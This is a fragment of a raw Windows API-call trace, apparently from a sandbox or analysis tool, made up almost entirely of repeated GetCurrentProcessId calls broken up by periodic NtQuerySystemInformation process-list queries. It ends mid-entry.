[0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0293.771] GetCurrentProcessId () returned 0x10c0 [0294.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.280] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.281] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.282] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.283] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.284] GetCurrentProcessId () returned 0x10c0 [0294.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.905] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.906] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.907] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.908] GetCurrentProcessId () returned 0x10c0 [0294.909] GetCurrentProcessId () returned 0x10c0 [0294.909] GetCurrentProcessId () returned 0x10c0 [0294.909] GetCurrentProcessId () returned 0x10c0 [0295.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.434] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.435] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.436] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.437] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.438] GetCurrentProcessId () returned 0x10c0 [0295.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0296.002] GetCurrentProcessId () returned 0x10c0 [0296.002] GetCurrentProcessId () returned 0x10c0 [0296.002] GetCurrentProcessId () returned 0x10c0 [0296.002] GetCurrentProcessId () returned 0x10c0 [0296.002] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.003] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.004] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.005] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.006] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.007] GetCurrentProcessId () returned 0x10c0 [0296.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0296.550] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.551] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.552] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] GetCurrentProcessId () returned 0x10c0 [0296.553] 